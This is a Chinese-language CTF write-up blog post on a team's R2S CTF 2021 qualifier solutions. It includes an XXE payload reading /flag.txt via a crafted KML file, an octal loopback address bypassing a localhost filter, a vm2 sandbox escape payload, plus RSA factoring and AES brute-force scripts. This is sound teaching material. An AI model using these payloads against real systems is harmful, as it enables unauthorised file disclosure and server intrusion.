這次比賽真的不算是誤打誤撞了,號稱給新手入門 CTF 的比賽,抱著個新手心情參與了。
實際情況:看到題目還是不會做,被各種迷因洗腦,而且賽中牛鬼蛇神太多了,心態直接崩到底(我還遇到當 AIS3 體驗場助教來打比賽,還是 Offical 的,我實在是不知道主辦到底怎麼篩選的)。
第一次跟網友線上組隊(非現場),自己實在很菜到不行,去跟別人求組隊,不過蠻幸運的是剛好湊滿四位一起打這場比賽。
比賽結果#
隊伍名稱:菜雞校正轉生到打 CTF 這檔事
Score:4191
Team Members:
- tico88612
- waig548
- idisused
- cow03haha
謝謝隊員們陪我一起打 CTF,我也學到蠻多東西。 waig548 直接一人單幹 2000 多分,真的很猛,本隊 MVP 實屬他。 waig548 的 Writeup 連結
全體排行榜#
Rank:6 / 81

官方排行榜#
Rank:3 / 44 (DQ -1)

R2S CTF 2021 Quals Writeup#
本篇文章除了有自己的通靈心路歷程以外,也搜集了一些大神們的 Code & 解答想法,給自己的打成一篇文章以此借鑑,也謝謝大神們的無私分享。 對於本篇文章有任何問題,也可以在下面留言給我喔!我看到一定會回覆。
Welcome ❤#
Welcome to R2S CTF o((>ω< ))o#
Problem Solver: waig548
簽到題,Discord 找答案,直接把總是暴雷打開就可以不用一個一個點了。
本次比賽的 Flag format: R2S{.*},所以本場 Flag 長的很奇怪也不要太在意

Flag: R2S{u_kn0w_7he_ru13s_n0w_s01v3_a1I_7he_Ch4ll3nge5s_u_c4n_s3e}
Web 🕸️#
Chatroom#
Problem Solver: tico88612
點進去網址以後,翻一翻好像沒什麼,但一個聊天窗留下超多顏文字。
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_')
經驗判斷為 AAencode,這東西丟進去 JS Console 也是會平安執行的。
Flag: R2S{ch47_w17h_m3_p122}
Psychic#
Problem Solver Psychic: tico88612
點進去連結後原始碼也沒有東西,以為要把網站打下來,但解析後發現是 GitHub 就果斷放棄,剩下估計是藏在照片了。

但一直在 Brave 瀏覽器看不出來,想說要直接開 PhotoShop 來調亮度了,結果……

呃……好喔。 看 Flag 提示感覺是 Libpng 的 Render 問題,但實際情況還要再查一下。
原圖如下:

Flag: R2S{l1bpn6_r3nd3r5_d1ff3r3n7ly_huh}
I’m The Map#
Hint: Flag file is located at /flag.txt.
Problem Solver: cow03haha
透過 Google 地圖產生 KML 後丟上去,系統會回傳最遠兩點之間的距離。

發現哪裡有問題了嗎?他會回傳座標的名稱
可以透過 XXE(XML eXternal Entity) Injection 對此把檔案提取出來
Payload 如下
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///flag.txt"> ]>
<kml xmlns="http://www.opengis.net/kml/2.2">
<Document>
<name>未命名的地圖</name>
<description/>
<Style id="icon-1899-0288D1-nodesc-normal">
<IconStyle>
<color>ffd18802</color>
<scale>1</scale>
<Icon>
<href>https://www.gstatic.com/mapspro/images/stock/503-wht-blank_maps.png</href>
</Icon>
<hotSpot x="32" xunits="pixels" y="64" yunits="insetPixels"/>
</IconStyle>
<LabelStyle>
<scale>0</scale>
</LabelStyle>
<BalloonStyle>
<text><![CDATA[<h3>$[name]</h3>]]></text>
</BalloonStyle>
</Style>
<Style id="icon-1899-0288D1-nodesc-highlight">
<IconStyle>
<color>ffd18802</color>
<scale>1</scale>
<Icon>
<href>https://www.gstatic.com/mapspro/images/stock/503-wht-blank_maps.png</href>
</Icon>
<hotSpot x="32" xunits="pixels" y="64" yunits="insetPixels"/>
</IconStyle>
<LabelStyle>
<scale>1</scale>
</LabelStyle>
<BalloonStyle>
<text><![CDATA[<h3>$[name]</h3>]]></text>
</BalloonStyle>
</Style>
<StyleMap id="icon-1899-0288D1-nodesc">
<Pair>
<key>normal</key>
<styleUrl>#icon-1899-0288D1-nodesc-normal</styleUrl>
</Pair>
<Pair>
<key>highlight</key>
<styleUrl>#icon-1899-0288D1-nodesc-highlight</styleUrl>
</Pair>
</StyleMap>
<Folder>
<name>(未命名的圖層)</name>
<Placemark>
<name>&ent;</name>
<styleUrl>#icon-1899-0288D1-nodesc</styleUrl>
<Point>
<coordinates>
121.3694369,25.0147899,0
</coordinates>
</Point>
</Placemark>
<Placemark>
<name>點 3</name>
<styleUrl>#icon-1899-0288D1-nodesc</styleUrl>
<Point>
<coordinates>
121.1263643,24.9874084,0
</coordinates>
</Point>
</Placemark>
</Folder>
</Document>
</kml>
Line 2 產生 Entity 命名為 ent 並且使用 file:// 協議把檔案倒出來。
Line 52 將其中一個名字注入 &ent; 系統就會執行了。

Flag: R2S{VerY_51mPLE_xxe_4yy}
Local Media Server#
Problem Solver: idisused
點進去後

後面網址也無法更改,127.0.0.1 也不行,外網也不行,完全不知道怎麼下手,自己果斷作罷。
idisused 提點以後,發現有其他 CVE 有其他網址可以闖 Localhost。
後段網址改為 http://0177.0.0.1/play.html 就可以進入了。

又是統神端火鍋……
右鍵檢查該影片來源,index.m3u8,打開記事本看一下。

再把裡面每個 varient_*/*.m3u8 抓下來看看。

其中一個檔案應該就是這個。
Flag: R2S{1'm_50_b0r3d_7h47_1_unp4ck_7h3_m3d14_455375_1n_4_w3bp463}
Local Media Server #2#
Problem Solver: tico88612
如果前一題會了,這一題就是依樣畫葫蘆。

你會看到有些檔案還沒翻過 *.mp4 或 *.m4s,其實就是從這些資料繼續往下翻。
如果文字檔打不開,那就是開 iHex 慢慢找了。
其中有個檔案 init_2.mp4

Flag: R2S{LEKO_SO_CUTE_AYY}
Working Status#
Problem Solver: X
據說是 XSS,用 Admin 帳號進入就可以發文了
BTW 到底是誰開了在 Web 放 CSS 動畫干擾參賽者的歪風啊!
Flag: 我不知道.jpg
Calculator 0x1#
Problem Solver: X
const { VM } = require('vm2');
const express = require("express")
const path = require("path")
const { FLAG } = require('./flag.json');
const app = express()
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
class Security {
constructor() {
}
disable() {
this.#lock = false;
return ""
}
isLocked() {
return this.#lock;
}
#lock = true
}
app.get("/", (req, res) => {
let result = "ERROR!";
let security = new Security();
const exec = req.query.q
if (exec === undefined || exec.length === 0) {
result = "";
}
if (exec && exec.length < 55 && !/[^.`+\|a-z]/.test(exec)) {
try {
const vm = new VM({
timeout: 100,
sandbox: {sec: security}
});
const execResult = vm.run(exec);
if (execResult === 1069 && !security.isLocked()) {
result = FLAG
}
} catch (e) {
console.error(e)
}
}
res.render('index', { result });
})
app.get('/source', function (req, res) {
res.sendFile(path.join(__dirname, 'app.js'));
});
module.exports = app;
要造出一段 Payload 符合 Line 35 條件,把 security 修改為 disable,並且讓 Line 41 回傳 1069。 我實在是太弱想不到 Payload。
給出 Discord 成功的 Payload:
+sec.disable``+`x`+`aaaa`.length+`aa`.length+`d`|`` // 51 chars

Flag: R2S{j4V45Cr1pT_15_tH3_835t_Pr09r4mm1N9_l4n9U493_1n_Th3_W0rLd}
Simple Book Searcher#
Problem Solver: X
據說也是 SQL Injection,據群組所說 Union 就可以拿下來了。
Flag: 挖母雞抖.jpg
Smart IoT#
Problem Solver: X
Discord 群組有解法,但我也看不懂。
Flag: 窩不知道.jpg
Pwnable 💥#
我都不會,跳過。
Stego 💠#
Barcode in Image#

Problem Solver: X
此題解為官方解答
把圖片放大就會有一些些 #878787 的小色塊,把該色塊直條變呈黑色,反之則白色。
然後你就會得到像這樣的圖片

Flag: R2S{Shirley?Wow!Jennifer_Lopez!Did_you_just_attack_my_image?My_barcode_on_image?Wow,I_guess_I_did.Cool.}
Music Xor#
Problem Solver: X
我隊友用 Audacity 合出兩個版本 刺耳注意! mixed1.mp3 這個稍微還好 mixed2.mp3
但自己聽力還是太爛,Flag 也出太爛,合成出來了,但聽猜不出 Flag 就沒分數。
Flag: R2S{the flag is music xor is so fun}
Reverse 💫 & Misc 🔱#
Problem Solver: waig548
兩個大 Part 全都他單幹掉了,Writeup 連結。
Crypto 🔐#
Base1024#
🐙🚡🎫🚯🚾🦃🈲😛😲🏙📩🦆😐🇲🌨💡😠📎🈚💡🙂🏦💅🎆🚾🚿🎤🦆😮🏦🌝🦇📥🏦🏁🎅📅🍨☕☕
Problem Solver: waig548
Google 搜尋 Base1024 就會有 Decoder 了。
Flag: R2S{3мойи_бAсе_енцод3_ис_фун}
BiGGG_RSA#
output
c = 43287572946133999679003735040387344127911611182808205416405340436402711791124904716956050215222149432404252982726093612310126853684044893133451080784922546867979305887527341522615891700842739784180798728162964536615110423273474573061375674575358516473194933233191614744557561571795234577569077605774440206671520694303064935378346965018255912344270318742324474073059659921239910378094711647856605360702133049986762428263614930247138733753169574250495738488144028395839583656222122838757806660956187829512998478544218493357681032722607971901002335911130687294364258838947818958702569582383274402930779878227555773798951104426309593822135727192814371302526960446331418055089056102121184008054507818173882740756768936506059156708316636852167412757511278933158635111355493760449900904638488978129072614518270375585858253473053449079165988636670446524141040388634289982864136445828197998940591994740072330066449402397902067067938402816758285008347470945818785037071222
e = 65537
n = 49248622972883851711386773455830941328351955764259345946275655818095450119281668147711077976526069530558696111959853311806481077621800598183620494089748868339934079479256403334873789607223206392698833208921911826473122864960856683393931315628102436483600181592788139749447807966060401223420398629804561406823594768438050769399298866282693582476372602460408099273890946477923597996189791010405673952929883596849090199166229944870159132656023322389928014497823730792199299526670301776538211591013386108486242072572141302961049691459414144342873488725383807775623095757669916252713386097446164615988267448787488882714337512383757276427435170226179741896211987287700559055118241195168305419636171140380170619844075760102525868001340847812251155677258069913516070602010353045567322057573785548126105990222018024292025671709566504624736894934257577458243520695760428468683663677350298213802301963600464571031366408565104104538078478012644137353387858275698095762674627
task.py
#!/usr/bin/python3
from Crypto.Util.number import getPrime , bytes_to_long , long_to_bytes
from secret import flag
from gmpy2 import next_prime
n = 1
tmp = getPrime(50)
for i in range(7):
n *= tmp
tmp = next_prime(n)
e = 0x10001
m = bytes_to_long(flag)
c = pow(m , e , n)
with open("output" , "w") as f:
f.write(f"c = {str(c)}\n")
f.write(f"e = {str(e)}\n")
f.write(f"n = {str(n)}\n")
Problem Solver: tico88612
前幾天在學 RSA 正好派上用場,不過那個 $n$ 丟了好幾個套件 factor 都丟不出來(Pycryptodome、Sage)
直到網路上找到的 Sympy,剛按下 enter,他就跑出來了。
我:??????
from sympy import factorint
n = 49248622972883851711386773455830941328351955764259345946275655818095450119281668147711077976526069530558696111959853311806481077621800598183620494089748868339934079479256403334873789607223206392698833208921911826473122864960856683393931315628102436483600181592788139749447807966060401223420398629804561406823594768438050769399298866282693582476372602460408099273890946477923597996189791010405673952929883596849090199166229944870159132656023322389928014497823730792199299526670301776538211591013386108486242072572141302961049691459414144342873488725383807775623095757669916252713386097446164615988267448787488882714337512383757276427435170226179741896211987287700559055118241195168305419636171140380170619844075760102525868001340847812251155677258069913516070602010353045567322057573785548126105990222018024292025671709566504624736894934257577458243520695760428468683663677350298213802301963600464571031366408565104104538078478012644137353387858275698095762674627
print(factorint(n))
把這段程式碼輸出結果(也就是分解出來的質數)給下一隻程式裡面的變數 $f$
#!/usr/bin/python3
from Crypto.Util.number import *
n = 49248622972883851711386773455830941328351955764259345946275655818095450119281668147711077976526069530558696111959853311806481077621800598183620494089748868339934079479256403334873789607223206392698833208921911826473122864960856683393931315628102436483600181592788139749447807966060401223420398629804561406823594768438050769399298866282693582476372602460408099273890946477923597996189791010405673952929883596849090199166229944870159132656023322389928014497823730792199299526670301776538211591013386108486242072572141302961049691459414144342873488725383807775623095757669916252713386097446164615988267448787488882714337512383757276427435170226179741896211987287700559055118241195168305419636171140380170619844075760102525868001340847812251155677258069913516070602010353045567322057573785548126105990222018024292025671709566504624736894934257577458243520695760428468683663677350298213802301963600464571031366408565104104538078478012644137353387858275698095762674627
e = 65537
c = 43287572946133999679003735040387344127911611182808205416405340436402711791124904716956050215222149432404252982726093612310126853684044893133451080784922546867979305887527341522615891700842739784180798728162964536615110423273474573061375674575358516473194933233191614744557561571795234577569077605774440206671520694303064935378346965018255912344270318742324474073059659921239910378094711647856605360702133049986762428263614930247138733753169574250495738488144028395839583656222122838757806660956187829512998478544218493357681032722607971901002335911130687294364258838947818958702569582383274402930779878227555773798951104426309593822135727192814371302526960446331418055089056102121184008054507818173882740756768936506059156708316636852167412757511278933158635111355493760449900904638488978129072614518270375585858253473053449079165988636670446524141040388634289982864136445828197998940591994740072330066449402397902067067938402816758285008347470945818785037071222
f = [1062780696629569, 1062780696629591, 1129502809128455357571730976453, 1275776595829071855433239892484300486868982494660419650558621, 1627605922465214963157262221175088960020721326796500889230397342216416452509325884768249583759916712501768532719126704379, 2649101038843843342291968578928310026248359608735783573418745440303879684369201027998779593318625620672967978390839255694804059830958732184991406633856012912555802095847238944900190788065229904674170980451099391761020719548856505607069148473, 7017736314003529992662158109335222483129630843602940054156239484721978771206772350944355441543925520212436896619771663845202011424483968685661791826317198558083585530193896005643195785970836356559241135345120545882411439349964743189424690612735144731820084432823739265401167465567592654070933927486640477820600598975940046682991249832318658624072203241719941593224202163706740308371377596859026820792926451405281232022216807167994601696760329606141789531963234584171729915978057303]
phi = 1
for x in f:
phi *= (x - 1)
d = inverse(e, phi)
print(long_to_bytes(pow(c , d , n)))
Flag: R2S{Wut_4_l1tTl3_EnCrYp7_N}
同場加映 —— MuMu 官方解答#
#!/usr/bin/python3
from gmpy2 import isqrt , is_square , is_prime
from Crypto.Util.number import long_to_bytes , inverse
exec(open("output" , "r").read())
def fermat(n):
assert not is_prime(n)
a = isqrt(n) + 1
while not is_square(pow(a , 2) - n):
a += 1
b = isqrt(pow(a , 2) - n)
p = a + b
q = a - b
assert p * q == n
return int(p) , int(q)
def dec(primes , e , c):
phi = 1
n = 1
for i in primes:
phi *= (i - 1)
n *= i
d = inverse(e , phi)
m = pow(c , d , n)
flag = long_to_bytes(m)
return flag.decode("latin-1")
primes = []
for i in range(8):
try:
p , n = fermat(n)
primes.append(p)
except :
primes.append(n)
break
flag = dec(primes , e , c)
print(flag)
2-AES#
output.py
notflag = "5232537b316d5f6e30375f666c34367d"
notflagC = "506bc537abd10ffebe9c2f007ee4e1f60642c5aaf12d71c1a9983a562560111b"
flagC = "ba23c2c60f9acbd36077b93cfecf5e201afae755f0341984ff642593dc1263bbd89eba3e5eb47a7573b4cb0f6c37875f9c32525bb9416dcfdfb776e85dd787f5"
task.py
#/bin/python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from os import urandom
from secret import flag
kpre = b"make_it_easy_"
size = AES.block_size - len(kpre)
key1 = kpre + urandom(size)
key2 = kpre + urandom(size)
notflag = b"R2S{1m_n07_fl46}"
def cipher(key, plaintext, mode = AES.MODE_ECB):
encrypter = AES.new(key, mode)
ciphertext = encrypter.encrypt(plaintext)
return ciphertext
def encrypt(key1, key2, plaintext):
return cipher(key1,cipher(key2,pad(plaintext,AES.block_size)))
if __name__ == '__main__':
notflagC = encrypt(key1,key2,notflag)
flagC = encrypt(key1,key2,flag)
with open("output.py", "w+") as f:
f.write(f"notflag = \"{notflag.hex()}\"\n")
f.write(f"notflagC = \"{notflagC.hex()}\"\n")
f.write(f"flagC = \"{flagC.hex()}\"\n")
Problem Solver: tico88612 + waig548
看程式碼大概就知道,AES Random 最後 3 個字元,每個字元要跑 256 個字元,總共 $2^{24}$ 次窮舉
窮舉每一把 Key,對 notflag 做 encrypt,也對 notflagC 做 decrypt,把結果存進各自的陣列。
notflagC Decrypt 後還要先扣掉 Padding,不然你會找不到交集喔!(然後我這段 Code 每一次重跑要 30 min……)
最後對他們做交集,encrypt 出來的數字就會是 key1,decrypt 出來的數字就會是 key2。
#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes, bytes_to_long
import math
import time
import numpy as np
def crack():
plaintext = 'R2S{1m_n07_fl46}'
plaintext_enc = plaintext.encode('utf-8')
ciphertext = '506bc537abd10ffebe9c2f007ee4e1f6'
cipher = long_to_bytes(int(ciphertext, 16))
print(cipher)
DESCipher1 = []
DESCipher2 = []
base_key = b"make_it_easy_"
rounds = pow(256, 3)
tBegin = time.time()
for i in range(rounds):
key = base_key + long_to_bytes(i, 3)
enc = AES.new(key, AES.MODE_ECB).encrypt(plaintext_enc)
DESCipher1.append(enc)
dec = AES.new(key, AES.MODE_ECB).decrypt(cipher)
DESCipher2.append(dec)
print('round', i , '/', rounds, 'done')
tEnd = time.time()
print('[1] total time: ', tEnd - tBegin, " sec")
tBegin = time.time()
intersect = np.intersect1d(np.array(DESCipher1), np.array(DESCipher2))
tEnd = time.time()
print('intersect: ', intersect)
print('[2] total time: ', tEnd - tBegin, " sec")
tBegin = time.time()
if intersect.size != 1:
print('key should only match once, error!')
exit(0)
else:
index1 = np.where( DESCipher1 == intersect )
firstKey = index1[0][0]
index2 = np.where( DESCipher2 == intersect )
secondKey = index2[0][0]
tEnd = time.time()
print('key1: ', str(firstKey))
print('key2: ', str(secondKey))
print('[3] total time: ', tEnd - tBegin, " sec")
if __name__ == '__main__':
crack()
輸出節錄:
round 16777210 / 16777216 done
round 16777211 / 16777216 done
round 16777212 / 16777216 done
round 16777213 / 16777216 done
round 16777214 / 16777216 done
round 16777215 / 16777216 done
[1] total time: 1582.2749860286713 sec
intersect: [b'z\x9a5\xdc\xdf\xa9\x0bn\xd9gv\xb7\x15O\x07p']
[2] total time: 47.50265598297119 sec
key1: 3886226
key2: 6449168
[3] total time: 8.087777853012085 sec
key1, key2 轉成 Hex 給下一隻程式,然後再把 Task.py 魔改一下就可以了。
BTW 我那天一直犯蠢 Decrypt 不出來,只好趕快把剛算出來的 Key 給隊友幫忙解,最後是 waig548 幫我送 Flag。
#/bin/python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import long_to_bytes, bytes_to_long
from os import urandom
key1 = b"make_it_easy_\x3B\x4C\x92"
print(key1)
key2 = b"make_it_easy_\x62\x68\x10"
print(key2)
flag = long_to_bytes(int("ba23c2c60f9acbd36077b93cfecf5e201afae755f0341984ff642593dc1263bbd89eba3e5eb47a7573b4cb0f6c37875f9c32525bb9416dcfdfb776e85dd787f5",16))
def cipher(key, plaintext, mode = AES.MODE_ECB):
encrypter = AES.new(key, mode)
ciphertext = encrypter.decrypt(plaintext)
return ciphertext
def encrypt(key1, key2, plaintext):
return cipher(key1,cipher(key2,pad(plaintext,AES.block_size)))
if __name__ == '__main__':
flagC = encrypt(key1,key2,flag)
print(flagC)
Flag: R2S{m461c4l_bru73f0rc3_1_G37_17_l1k3_f1v3_m1nu73}
同場加映 —— Maple 大大的解答 & tqdm#
本場排行榜第一名的 Maple 也把他的 Code 分享到 Discord 上。
我自己筆電跑只要 10 ~ 15 分鐘就跑完了,而且還有進度條的版本,超厲害的。
from tqdm import tqdm
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from itertools import product
notflag = bytes.fromhex("5232537b316d5f6e30375f666c34367d")
notflagC = bytes.fromhex(
"506bc537abd10ffebe9c2f007ee4e1f60642c5aaf12d71c1a9983a562560111b"
)
flagC = bytes.fromhex(
"ba23c2c60f9acbd36077b93cfecf5e201afae755f0341984ff642593dc1263bbd89eba3e5eb47a7573b4cb0f6c37875f9c32525bb9416dcfdfb776e85dd787f5"
)
padded = pad(notflag, 16)
kpre = b"make_it_easy_"
table = {}
for a in tqdm(product(range(256), repeat=3), total=256 ** 3, desc="first"):
k1 = kpre + bytes(a)
ct = AES.new(k1, mode=AES.MODE_ECB).decrypt(notflagC)
table[ct] = k1
for a in tqdm(product(range(256), repeat=3), total=256 ** 3, desc="second"):
k2 = kpre + bytes(a)
ct = AES.new(k2, mode=AES.MODE_ECB).encrypt(padded)
if ct in table:
k1 = table[ct]
print(k1, k2)
flag = unpad(
AES.new(k2, mode=AES.MODE_ECB).decrypt(
AES.new(k1, mode=AES.MODE_ECB).decrypt(flagC)
),
16,
)
print(flag)
break
Not Morse#
task
1000 021 000 1{1000 0 00 10 01 00 010 011 1 000 00011 100 01 00000 0001 1 0 00 001 10 0 0110 0 1 00000 10 01 10 100 0 110 0100 }
Problem Solver: X
本場比賽最通靈的題目。
把 $2$ 跟空白去掉,每五個字元排整齊,開始解密。
Flag: R2S{RESHAPEANDDECODE}
Forensics 🌲#
Problem Solver: waig548
基本上也都是全都他單幹出來,Writeup 連結
但其中有一題大家都看很久。
md0#
看到 pcap 檔案,就知道要拆封包了。
Wireshark 裡面的 Follow TCP Stream,把每一個影片都 Dump 下來。(Wireshark 其實有點太慢了,賽後 Staff 推薦 tshark)
第一天晚上解到最後有兩部影片爛掉,我跟隊友們都修不了,以為還要再修影片,就果斷先解其他題目。
直到第二天下午……

RRRRRRRRRRRRRRRRRRRR 氣死,直接做梗圖

反正修好後就在其中一部右下角就有 Flag。

Flag: R2S{https://youtu.be/072tU1tamd0}
總結時間#
這場比賽評價我個人覺得,要給一位真正剛學 CTF 的人打,其實還是有點點小難。
新手大多都經驗不足&工具不熟,即使老鳥喊著「題目簡單」,但對新手來說看到題目還是無字天書。
不過這場比賽基本上也不能再出更簡單了,因為真的很難去拿捏難度。
至少要會一些基礎工具再來打比賽會比較好,心理上也比較不會太挫敗。
參加一些像是 AIS3 的資安體驗營活動,或是 picoCTF 新手向的平台,可能會稍微容易一些啦!
這場隊友帶飛直接進 Offical 第三名,Final 應該是穩了,可以期待一下會出什麼可怕題目了。
這場比賽就分享就到這裡,我們下一篇文章見,ㄅㄅ。